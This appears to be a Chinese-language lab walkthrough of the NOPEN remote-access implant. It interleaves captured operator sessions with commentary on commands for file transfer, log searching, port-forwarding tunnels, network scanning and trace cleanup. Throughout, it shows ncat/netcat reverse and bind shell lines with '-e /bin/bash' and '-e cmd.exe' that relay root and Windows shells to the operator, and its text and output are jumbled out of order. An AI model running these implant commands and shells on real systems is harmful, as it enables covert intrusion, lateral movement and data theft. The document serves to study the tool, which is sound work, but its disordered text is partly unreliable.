centos4x86.local:32754 (172.19.2.11:32754) Local NOPEN client       3.3.2.3 Date/Time         Wed Mar 16 02:59:21 UTC 2022 History           /home/hacker/test/../down/history/centos4x86.local.172.19.2.11 Command Out       /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16- 02:01:16 CWD               /home/hacker/test NHOME             /home/hacker/test/.. PID (PPID)         28563 (15348) Remote NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3) WDIR               /root/bvp47 OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 CWD               /root/bvp47 PID (PPID)         6139 (5107) -lcd /tmp [03-16-22 03:21:05 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lcd /tmp] /tmp NO! centos4x86.local:/root/bvp47>-lpwd [03-16-22 03:21:11 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lpwd] /tmp NO! centos4x86.local:/root/bvp47>-lgetenv [03-16-22 03:21:19 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lgetenv] [HOSTNAME=centos5x86.local] [SHELL=/bin/bash] [TERM=screen] [HISTSIZE=1000] [SSH_CLIENT=172.19.2.1 29472 22] [SSH_TTY=/dev/pts/2] [USER=hacker] [LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33; 01:or=01;05;37;41 :mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=0 1;32:*.sh=01;32:* .csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01; 31:*.z=01;31:*.Z= 01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jp g=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: ] [TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal:\        :DO=\E[%dB:LE=\E[%dD:RI=\E[%dC:UP=\E[%dA:bs:bt=\E[Z:\        :cd=\E[J:ce=\E[K:cl=\E[H\E[J:cm=\E[%i%d;%dH:ct=\E[3g:\        :do=^J:nd=\E[C:pt:rc=\E8:rs=\Ec:sc=\E7:st=\EH:up=\EM:\        :le=^H:bl=^G:cr=^M:it#8:ho=\E[H:nw=\EE:ta=^I:is=\E)0:\       :li#25:co#97:am:xn:xv:LP:sr=\EM:al=\E[L:AL=\E[%dL:\        :cs=\E[%i%d;%dr:dl=\E[M:DL=\E[%dM:dc=\E[P:DC=\E[%dP:\        :im=\E[4h:ei=\E[4l:mi:IC=\E[%d@:ks=\E[?1h\E=:\        :ke=\E[?1l\E>:vi=\E[?25l:ve=\E[34h\E[?25h:vs=\E[34l:\        :ti=\E[?1049h:te=\E[?1049l:us=\E[4m:ue=\E[24m:so=\E[3m:\        :se=\E[23m:mb=\E[5m:md=\E[1m:mr=\E[7m:me=\E[m:ms:\       :Co#8:pa#64:AF=\E[3%dm:AB=\E[4%dm:op=\E[39;49m:AX:\        :vb=\Eg:G0:as=\E(0:ae=\E(B:\        :ac=\140\140aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~..-- ++,,hhII00:\        :po=\E[5i:pf=\E[4i:Z0=\E[?3h:Z1=\E[?3l:k0=\E[10~:\        :k1=\EOP:k2=\EOQ:k3=\EOR:k4=\EOS:k5=\E[15~:k6=\E[17~:\        :k7=\E[18~:k8=\E[19~:k9=\E[20~:k;=\E[21~:F1=\E[23~:\        :F2=\E[24~:F3=\EO2P:F4=\EO2Q:F5=\EO2R:F6=\EO2S:\        :F7=\E[15;2~:F8=\E[17;2~:F9=\E[18;2~:FA=\E[19;2~:kb=:\        :K2=\EOE:kB=\E[Z:kF=\E[1;2B:kR=\E[1;2A:*4=\E[3;2~:\       :*7=\E[1;2F:#2=\E[1;2H:#3=\E[2;2~:#4=\E[1;2D:%c=\E[6;2~:\       :%e=\E[5;2~:%i=\E[1;2C:kh=\E[1~:@1=\E[1~:kH=\E[4~:\       :@7=\E[4~:kN=\E[6~:kP=\E[5~:kI=\E[2~:kD=\E[3~:ku=\EOA:\        :kd=\EOB:kr=\EOC:kl=\EOD:km:] [PATH=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/hacker/bin] [MAIL=/var/spool/mail/hacker] [STY=15347.pts-2.centos5x86] [PWD=/home/hacker/test] [INPUTRC=/etc/inputrc] [LANG=en_US.UTF-8] [SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass] [HOME=/home/hacker] [SHLVL=2] [LOGNAME=hacker] [WINDOW=0] [SSH_CONNECTION=172.19.2.1 29472 172.19.2.13 22] [LESSOPEN=|/usr/bin/lesspipe.sh %s] [DISPLAY=localhost:10.0] [G_BROKEN_FILENAMES=1] [_=./noclient-3.3.2.3-linux-i386] [OLDPWD=/home/hacker] [NOPEN_CLIENTVER=3.3.2.3] [NOPEN_MYPID=28563] [NHOME=/home/hacker/test/..] 通过上面的操作实例,可以看出,这些命令方便了客户端的基本操作,通过-lsh这个命令,可以执行本 地的shell命令,结合环境变量,可以实现在一个终端实现全部操作。 本地客户端命令 主要是本地自动操作,日志管理,心跳设置,操作序列文件管理,Terminal的重置。 [NOPEN_SERVERINFO=Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686] [NOPEN_RHOSTNAME=centos4x86.local.172.19.2.11] [NOPEN_MYLOG=/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022- 03-16-02:01:16] [NOPEN_AUTOPORT=1025] [LINES=24] [COLUMNS=97] NO! centos4x86.local:/root/bvp47>-lsh ps aux| grep noclient [03-16-22 03:24:19 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lsh ps aux| grep noclient] hacker   26182  0.0  0.0   4592   996 pts/3   R+   23:24   0:00 sh -c ps aux| grep noclient hacker   28563  0.0  0.1   5188  1532 pts/3   S+   22:01   0:00 ./noclient- 3.3.2.3-linux-i386 17 NO! centos4x86.local:/root/bvp47>-lsetenv TARGET=nsa.org ... [TARGET=nsa.org] NO! centos4x86.local:/root/bvp47>-lsh ls [03-16-22 03:26:57 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lsh ls] gconfd-root keyring-4F3uu9 keyring-BmyVpS mapping-root orbit-root ssh-yBRWXJ2431 virtual-root.541NyD NO! centos4x86.local:/root/bvp47>-lsh ping $TARGET [03-16-22 03:27:40 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-lsh ping $TARGET] ping: unknown host nsa.org -cmdout test.cmd [03-16-22 06:40:32 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-cmdout test.cmd] Command out file: /home/hacker/test/../down/cmdout/test.cmd NO! centos4x86.local:/root/bvp47>-ls [03-16-22 06:41:00 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-ls] drwxr-xr-x    3 root     root         4096 Mar 13 05:00 2022 . drwxr-x---   11 root     root         4096 Mar 13 05:13 2022 .. -rwxr-xr-x    1 root     root       126702 Feb 28 04:39 2022 ish.v3 NO! centos4x86.local:/root/bvp47>-cksum ish.v3 [03-16-22 06:41:42 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-cksum ish.v3] Opening checksum file "/home/hacker/test/../etc/cksums"... /home/hacker/test/../etc/cksums: No such file or directory NO! centos4x86.local:/root/bvp47>-exit 默认就会保存命令和响应 但是可以将保存到默认的输出文件中,如果指定输出文件,就保存到指定文件中,这时默认文件就不再 保存输入输出了。 keepalive keepalive是控制心跳包的发送,主要是保持连接,避免超时。 [03-16-22 06:42:18 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-exit] Connection Bytes In / Out     2957/3077 (96%C) / 1500/677 (221%C) Local Host:Port   localhost:39955 (127.0.0.1:39955) CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754) Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754) Local NOPEN client       3.3.2.3 Date/Time         Wed Mar 16 06:42:18 UTC 2022 History           /home/hacker/test/../down/history/centos4x86.local.172.19.2.11 Command Out       /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16- 02:01:16 CWD               /tmp NHOME             /home/hacker/test/.. PID (PPID)         28563 (15348) Hasta cat /home/hacker/test/../down/cmdout/test.cmd ls centos4x86.local.172.19.2.11-2022-03-16-02:01:16 test.cmd tail -n1 centos4x86.local.172.19.2.11-2022-03-16-02\:01\:16 [-cmdout test.cmd] >-keepalive -v 10 [03-16-22 06:58:44 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754] [-keepalive -v 10] Keepalive enabled (probes sent every 10 seconds) NO! centos4x86.local:/root/bvp47>-keepalive -r [03-16-22 06:59:16 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754] [-keepalive -r] Current keepalive interval: 10 seconds [keepalive: server is alive, remote time: Sun Mar 13 10:23:29 2022] NO! centos4x86.local:/root/bvp47>-keepalive -d [03-16-22 06:59:22 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754] [-keepalive -d] Keepalive disabled autopilot autopilot 设置自动执行命令的端口。 norc 系统会根据服务端的类型,读入响应的rc文件,文件里面包含的是只有两种格式一是alias,二是注释 #。 读入后,就可以使用这些命令了。 exit会让服务端退出。burn会清理痕迹,然后退出。 如果想退出客户端,但是不退出服务端,Ctrl+C两次即可。 远程目录命令 find 查找需要一个脚本mkfinds。 cd ls -autopilot 2005 [03-16-22 07:02:57 GMT][localhost:56940 -> centos4x86.local.172.19.2.11:32754] [-autopilot 2005] Please connect to me on 2005 cat norc.linux alias joe=-status joe [03-16-22 07:47:22 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-status] -find -xm 03-02-2022 [03-16-22 08:15:19 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-find -xm 03-02-2022] Command out file: /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11- find Command out file: /home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11- 2022-03-16-07:47:13 sh: mkfinds: command not found I'm afraid we could not start mkfinds -cd /tmp [03-16-22 08:17:10 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-cd /tmp] NO! centos4x86.local:/tmp>-ls [03-16-22 08:17:11 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-ls] drwxrwxrwt    6 root     root         4096 Mar 13 04:32 2022 . drwxr-xr-x   23 root     root         4096 Mar 11 01:10 2022 .. drwxrwxrwt    2 root     root         4096 Mar 11 01:10 2022 .ICE-unix drwxrwxrwt    2 root     root         4096 Mar 11 01:10 2022 .font-unix drwx------    2 root     root         4096 Feb 26 14:02 2022 gconfd-root 除了find命令,其他都是些简单的目录操作。 远程文件操作 操作逻辑和ftp类似,只是通过专用程序进行。oget支持指定起始和结束进行文件传输。 get put cat upload upload则支持将文件定向到端口。配合netcat,可以实现文件传输。 drwxr-xr-x    3 root     root         4096 Mar 10 01:33 2022 screens NO! centos4x86.local:/tmp>-cdp [03-16-22 08:17:15 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-cdp] -get ourtn [03-16-22 08:43:07 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-get ourtn] ourtn -- /home/hacker/test/../down/centos4x86.local.172.19.2.11/root/bvp47/ourtn /home/hacker/test/../down/centos4x86.local.172.19.2.11/root/bvp47/ourtn: No such file or directory -put hello.txt remote_hello.txt [03-16-22 08:46:28 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-put hello.txt remote_hello.txt] local sha1sum: 4bb4334d3350f950bab4b20f089c4c396ba5faf5 hello.txt hello.txt -- remote_hello.txt [0700]          14/          14 100% (195%C) -rwx------    1 root     root           14 Mar 13 12:10 2022 remote_hello.txt -cat remote_hello.txt [03-16-22 08:47:01 GMT][localhost:55475 -> centos4x86.local.172.19.2.11:32754] [-cat remote_hello.txt] Hello world! -upload hello.txt 6969 172.19.2.13 [03-17-22 02:22:20 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754] [-upload hello.txt 6969 172.19.2.13] noclient: waiting for remote connection... noclient: received connection from 172.19.2.13 [03-17-22 02:26:57 GMT] noclient: file upload complete, closing remote connection noclient: remote connection closed noclient: local connection closed [03-17-22 02:26:57 GMT] ./ncat 172.19.2.11 6969 > hello.txt [root@centos5x86 ncat]# cat hello.txt Hello world! grep mailgrep grep进行文件内容搜索。 其中mailgrep是比较有特点的操作,通过对邮件进行扫描,可以对附件进行扫描分析。 cksum 但是cksum的算法不能确定,不是sha1也不是RIPEMD160。经过后续的研究,发现是sha1的修改版。 chili chili木有找到使用方法。 远程网络穿透 在内网渗透过程中,利用各种的端口转发和流量代理,构建渗透通道,是非常必要的功能,这部分功能 强大,值得学习。 tunnel -grep login /var/log/messages.1 [03-17-22 02:35:31 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754] [-grep login /var/log/messages.1] Mar 10 01:21:38 centos4x86 login(pam_unix)[5216]: session opened for user root by LOGIN(uid=0) Mar 11 01:09:05 centos4x86 login(pam_unix)[5216]: session closed for user root -cksum noserver-server [03-17-22 02:43:29 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754] [-cksum noserver-server] Opening checksum file "/home/hacker/test/../etc/cksums"... ok - 7B5A89C4D1B92348623CE0FDD94D7361A297B8AA Sat Mar 12 04:20:21 2022 noserver- server -chili 01-01-2000 src nortn [03-17-22 03:07:02 GMT][localhost:21655 -> centos4x86.local.172.19.2.11:32754] [-chili 01-01-2000 src nortn] -tunnel [03-18-22 02:00:58 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-tunnel] Starting NOPEN -tunnel... NO! tunnel> -? [-?] *******NOPEN -tunnel commands******* [h]elp     - show this help [t]imeout time [r]emote listenport [target [port [rem_target]]] [l]ocal listenport target [port [source_port]] [L]ocal listenport target [port [source_port]]; with one byte extra for socket state [u]dp   listenport target [port [source_port]] [U]dp   listenport [target [port]] 在输入tunnel命令后,就进入到隧道管理子模块中。命令行的设计非常nice。 这个隧道模式支持tcp和udp两种方式,支持两端监听。下面,我们以最常见的将内网端口映射到外部进 行操作。 先在server端执行。 然后在noclient的控制台执行隧道操作。 这个操作就是将远端的6969端口映射到本地,只要连接本地的端口,会自动通过隧道连接到远端的对应 端口。 使用nc,直接操作远端机器了。 nc最好是自己编译的带-e参数的版本 从上面的例子可以看出,非常简单,也非常方便。 输入Ctrl+C退出隧道模式。 irtun istun jackpop [c]lose channel [s]tatus - prints status messages for channels [q]uit   - leaves the tunnel.   Please do not hit Ctrl+C, it will cause the tunnels to break ./ncat/ncat -lvnp 6969 -e /bin/bash Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 172.19.2.11. Ncat: Connection from 172.19.2.11:32796. NO! tunnel> l 6969 172.19.2.11 6969 [l 6969 172.19.2.11 6969] NOTICE: channel 1 listen success ./ncat localhost 6969 id&&hostname&&ip a show eth0 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t centos4x86.local 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000   link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff   inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0   inet6 fe80::a00:27ff:fe34:5670/64 scope link       valid_lft forever preferred_lft forever -irtun 172.19.2.1 6969 [03-18-22 06:07:31 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-irtun 172.19.2.1 6969] noclient: executing: ourtn -D 0.0.0.0 -W 127.0.0.1:20548 -i 0.0.0.0 -p 6969  172.19.2.1 Undefined subroutine &main::mygetinput called at /usr/bin/ourtn line 2242. 这个利用dewdrop,tipoff来构建隧道。这里还没有分析这两个程序,并且这个perl脚本,也有BUG,需 要进一步修改。 nrtun noclient: tunneled process 25833 terminated with status 9 noclient: ourtn exited early ourtn execution failed, exiting -istun 172.19.2.1 6969 [03-18-22 06:14:17 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-istun 172.19.2.1 6969] noclient: executing: ourtn -D 0.0.0.0 -W 127.0.0.1:20548 -i 0.0.0.0 -p 6969  172.19.2.1 Undefined subroutine &main::mygetinput called at /usr/bin/ourtn line 2242. noclient: tunneled process 28287 terminated with status 9 noclient: ourtn exited early ourtn execution failed, exiting -jackpop 172.19.2.11 6969 172.19.2.13 6969 [03-18-22 06:25:13 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-jackpop 172.19.2.11 6969 172.19.2.13 6969] -jackpop is only supported for Solaris 2.6+, you are using Linux 2.6.9-89.EL -nrtun 172.19.2.11:2005 [03-18-22 06:26:27 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-nrtun 172.19.2.11:2005] Listening on centos4x86.local.172.19.2.11:2005 (172.19.2.11:2005) Connecting to localhost:42609 (127.0.0.1:42609) Allowing connections from anywhere Executing: ./noclient-3.3.2.3-linux-i386 -l 42609 NOPEN!                             v3.3.2.3 Usage: scanner typeofscan IP_address Scan options:       winl   Scan for windows boxes       winn   Scan for windows names       xwin   Scan for Xwin folks       time   Scan for NTP folks         rpc   Scan for RPC folks       snmp1   Scan for SNMP version       snmp2   Scan for Sol version        echo   Scan for echo hosts       time2   Scan for daytime hosts       tftp   Scan for tftp hosts       tday   Scan for daytime hosts       ident   Scan ident       mail   Scan mail         ftp   Scan ftp     t_basic   Scan TCP port       http   Scan web     netbios   Does not work         dns   Scan for DNS       ripv1   Scan for RIP v1 由于参数不够,扫描器退出。noclient进入反向连接模式,等待noserver进行连接。 nstun 利用noserver进行堆叠,构建隧道。 rawsend       ripv2   Scan for RIP v2         lpr   Scan for lpr   miniserv   Scan for Redflag Web   win_scan   Get windows version      telnet   Banner Telnet     finger   Banner finger         ssl   Scan for SSL stuff         ssh   Scan for SSH version       snmp3   Finnish Test Case SNMP     dtuname   DT uname test           #   port other than above         all   (you are really cool)       sane   (you are really smart, all - snmp1 and snmp2) You are the weakest link, goodbye ourtn version 5.4.0.3 scripme version 2.0.2.4 Fri Mar 18 06:38:16 GMT 2022 NHOME=/home/hacker/test/.. Reading resource file "/home/hacker/test/../etc/norc"... /home/hacker/test/../etc/norc: No such file or directory TERM=screen Entering server mode noclient: waiting for remote connection... Listening on *:26962... ok Accepted connection from 127.0.0.1:60985 Initiating RSA key exchange -nstun 172.19.2.1 [03-18-22 06:42:58 GMT][localhost:52710 -> centos4x86.local.172.19.2.11:32754] [-nstun 172.19.2.1] Listening on localhost:53676 (127.0.0.1:53676) Connecting to 172.19.2.1:32754 (172.19.2.1:32754) Waiting for NOPEN tunnels to be ready... Executing: ./noclient-3.3.2.3-linux-i386 127.0.0.1:53676 Fri Mar 18 06:43:00 GMT 2022 NHOME=/home/hacker/test/.. Reading resource file "/home/hacker/test/../etc/norc"... /home/hacker/test/../etc/norc: No such file or directory TERM=screen Entering client mode noclient: received local connection, contacting server Attempting connection from 0.0.0.0:14796 to 127.0.0.1:53676... ok Initiating RSA key exchange 在noclient开个端口,监听输入,并将输入转发到noserver上。 rtun 反向隧道与前面的正向隧道一样,只是连接方向反过来。 在noserver上启动nc。 然后在noclient上执行。 然后在noclient启动nc。 通过设置不同形式的nc工作方式,可以得到更多的组合。 rutun 采用UDP建立反向隧道。 在noserver上运行nc. -rawsend 6969 [03-18-22 06:49:29 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754] [-rawsend 6969] noclient: waiting for connection on port 6969 noclient: waiting to receive 1684632074 byte packet ./ncat/ncat -lvnp 6969 -e /bin/bash Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 172.19.2.13. Ncat: Connection from 172.19.2.13:58451. -rtun 6968 172.19.2.11 6969 [03-18-22 07:08:39 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754] [-rtun 6968 172.19.2.11 6969] Listening on centos4x86.local.172.19.2.11:6968 (:6968) Connecting to 172.19.2.11:6969 (172.19.2.11:6969) Allowing connections from anywhere noclient: waiting for remote connection... noclient: received connection from 172.19.2.13 [03-18-22 07:09:27 GMT] ./ncat 172.19.2.11 6968 id&&pwd&&ip a show eth0 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t /root/nmap-7.92 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000   link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff   inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0   inet6 fe80::a00:27ff:fe34:5670/64 scope link       valid_lft forever preferred_lft forever 在noclient建立反向udp隧道。 启动nc。 这里只是显示一下命令的用法,实践中应该是多台内网设备之间的操作。 stun 监听模式的隧道。 在目标机上启动反弹shell。 在noclient上建立隧道。 ./ncat/ncat -lvnu 6969 -e /bin/bash Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::6969 Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 172.19.2.13. -rutun 6968 172.19.2.11 6969 [03-18-22 07:18:30 GMT][localhost:12649 -> centos4x86.local.172.19.2.11:32754] [-rutun 6968 172.19.2.11 6969] Listening on :6968 (:6968) Sending UDP datagrams to 172.19.2.11:6969 (172.19.2.11:6969) noclient: waiting for remote receiver... noclient: remote receiver ready UDP packet of size 4 received from 172.19.2.13:0 to 127.0.0.1:6969 [03-18-22 07:20:04 GMT] UDP packet of size 16 received locally [03-18-22 07:20:04 GMT] UDP packet of size 24 received from 172.19.2.13:0 to 127.0.0.1:6969 [03-18-22 07:20:17 GMT] UDP packet of size 420 received locally [03-18-22 07:20:17 GMT] ./ncat -u 172.19.2.11 6968 id&&pwd&&ip a show eth0 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t /root/nmap-7.92 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000   link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff   inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0   inet6 fe80::a00:27ff:fe34:5670/64 scope link       valid_lft forever preferred_lft forever lcx -S netcat -lvnp 6969 -e cmd.exe Given Option: S netcatlistening on [any] 6969 ... connect to [172.19.2.1] from (UNKNOWN) [172.19.2.11] 32768 在noclient上启动nc。 这样就把一台windows机器的shell反弹到noclient的本地端口上了。 这个命令的使用方法 Usage: -stun toip toport [localport [srcport [srcip]]] 也就是支持srcport, srcip,如果使用ew,socat,chisel等隧道工具,可以建立一个本地监听的端口, 可以将远端的数据库等服务的端口映射到本地,然后进行操作。 sutun 这个命令与stun一样,只是协议修改为udp。 在目标机上启动nc。 在noclient上建立隧道。 -stun [03-18-22 23:24:34 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754] [-stun] Usage: -stun toip toport [localport [srcport [srcip]]] NO! centos4x86.local:/root/bvp47>-stun 172.19.2.1 6969 [03-19-22 00:05:40 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754] [-stun 172.19.2.1 6969] Listening on localhost:6969 (127.0.0.1:6969) Connecting to 172.19.2.1:6969 (172.19.2.1:6969) Anoclient: received local connection, contacting server noclient: peer address is 172.19.2.1 [03-19-22 00:06:02 GMT] ./ncat localhost 6969 Microsoft Windows [汾 10.0.19043.1526] (c) Microsoft CorporationȨ COMMANDO 2022/03/19  8:06:04.16 D:\ht\lcx\win> ./ncat -lvnu 6969 -e /bin/bash Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:6969 Ncat: Connection from 172.19.2.11. -sutun 172.19.2.11 6969 6968 [03-19-22 00:17:08 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754] [-sutun 172.19.2.11 6969 6968] Listening on localhost:6968 (127.0.0.1:6968) Sending UDP datagrams to 172.19.2.11:6969 (172.19.2.11:6969) noclient: waiting for remote transmitter... noclient: remote transmitter ready UDP packet of size 3 received locally [03-19-22 00:17:19 GMT] UDP packet of size 697 received from 172.19.2.11:0 to 172.19.2.11:44902 [03-19- 22 00:17:19 GMT] UDP packet of size 82 received locally [03-19-22 00:18:34 GMT] UDP packet of size 24 received locally [03-19-22 00:18:47 GMT] UDP packet of size 425 received from 172.19.2.11:0 to 172.19.2.11:44902 [03-19- 22 00:18:47 GMT] 在noclient上运行nc。 scan 隧道经常和扫描工具一起使用,这个工具也一样。 扫描端口,这个需要配套的scanner程序。 在命令行执行一下scanner,学习一下这个扫描器如何运行。 ./ncat -u localhost 6968 id&&pwd&&ip a show eth0 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t /root/nmap-7.92/ncat 2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000   link/ether 08:00:27:34:56:70 brd ff:ff:ff:ff:ff:ff   inet 172.19.2.11/24 brd 172.19.2.255 scope global eth0   inet6 fe80::a00:27ff:fe34:5670/64 scope link       valid_lft forever preferred_lft forever -scan 22 172.19.2.13 [03-17-22 07:27:02 GMT][localhost:19360 -> centos4x86.local.172.19.2.11:32754] [-scan 22 172.19.2.13] Waiting for NOPEN tunnels to be ready... Listening on localhost:61615 (127.0.0.1:61615) Connecting to 172.19.2.13:22 (172.19.2.13:22) sh: line 1: /current/down/cmdout/scans: No such file or directory Scanning port 22 scanning i is 127.0.0.1 Scan TCP port connect to 127.0.0.1 --------------- SSH-2.0-OpenSSH_4.3 scanner Usage: scanner typeofscan IP_address Scan options:       winl   Scan for windows boxes       winn   Scan for windows names       xwin   Scan for Xwin folks       time   Scan for NTP folks         rpc   Scan for RPC folks       snmp1   Scan for SNMP version       snmp2   Scan for Sol version        echo   Scan for echo hosts       time2   Scan for daytime hosts       tftp   Scan for tftp hosts       tday   Scan for daytime hosts       ident   Scan ident       mail   Scan mail         ftp   Scan ftp     t_basic   Scan TCP port       http   Scan web     netbios   Does not work 这个扫描器有常见的扫描功能。 简单操作一下。 这里的结果与noclient的结果一致。 vscan vscan是先建立通道,然后进行扫描。jscan也是一个扫描程序。木有找到对应的程序。 远程网络命令 主要是网络状态操作的命令。 icmptime         dns   Scan for DNS       ripv1   Scan for RIP v1       ripv2   Scan for RIP v2         lpr   Scan for lpr   miniserv   Scan for Redflag Web   win_scan   Get windows version      telnet   Banner Telnet     finger   Banner finger         ssl   Scan for SSL stuff         ssh   Scan for SSH version       snmp3   Finnish Test Case SNMP     dtuname   DT uname test           #   port other than above         all   (you are really cool)       sane   (you are really smart, all - snmp1 and snmp2) You are the weakest link, goodbye scanner ssh 172.19.2.13 scanning i is  172.19.2.13 Scan for SSH version connect to 172.19.2.13 --------------- SSH-2.0-OpenSSH_4.3 -- --------------- adios -vscan 22 172.19.2.11 [03-17-22 07:29:58 GMT][localhost:19360 -> centos4x86.local.172.19.2.11:32754] [-vscan 22 172.19.2.11] Setting up tunnel on port 17779 Running: jscan -ri 127.0.0.1 -rc 17779 -rs 172.19.2.11 & sh: jscan: command not found Starting NOPEN -tunnel... Setting up a UDP tunnel mechanism on port 17779 利用mkoffset脚本计算icmp的时间查。 ifconfig 显示网卡信息。 nslookup 这里需要注意的是name server的设置。 ping trace -icmptime 172.19.2.1 [03-19-22 02:03:48 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754] [-icmptime 172.19.2.1] Timestamp reply        172.19.2.1 >       172.19.2.11 (TTL 128) Send   Timestamp: 02:03:48 UTC Receive Timestamp: 812:39:15 UTC     for (172.19.2.1) Assuming AHEAD one day:   Sun Mar 20 12:39:15 UTC 2022   UTC_OFFSET=2075 Assuming TODAY's   date:   Sat Mar 19 12:39:15 UTC 2022   UTC_OFFSET=635 Assuming BEHIND one day:   Fri Mar 18 12:39:15 UTC 2022   UTC_OFFSET=-804 -ifconfig [03-19-22 02:06:26 GMT][localhost:30240 -> centos4x86.local.172.19.2.11:32754] [-ifconfig] lo:  flags=<UP LOOPBACK RUNNING> mtu 16436 inet 127.0.0.1 broadcast 127.255.255.255 netmask 255.0.0.0 inet6 ::1/128 ether 00:00:00:00:00:00 eth0:  flags=<UP BROADCAST RUNNING MULTICAST> mtu 1500 inet 172.19.2.11 broadcast 172.19.2.255 netmask 255.255.255.0 inet6 fe80:0:a00:27ff::fe34:5670/64 ether 08:00:27:34:56:70 >-nslookup nsa.org [03-19-22 02:07:46 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-nslookup nsa.org] Primary Server: 0.0.0.0#53 resolver error for host nsa.org: Temporary failure in name resolution 远程服务端命令 控制服务端的退出,信息,监听和调用。 pid listen 启动一个新实例,并监听在指定端口上。客户端就可以连接到指定端口了。 客户端也可以运行在监听端口上,然后由服务端反向连接过来。 call -ping 172.19.2.1 [03-19-22 02:10:23 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-ping 172.19.2.1] ICMP Reply (172.19.2.1)   0.168 ms        172.19.2.1 >       172.19.2.11 (TTL 128) -trace 172.19.2.1 [03-19-22 02:10:04 GMT][localhost:47388 -> centos4x86.local.172.19.2.11:32754] [-trace 172.19.2.1] traceroute to 172.19.2.1 (using 172.19.2.11), 30 hops max, 38 byte packets 1 (172.19.2.1)   0.197 ms  0.178 ms  0.143 ms -pid [03-17-22 03:48:32 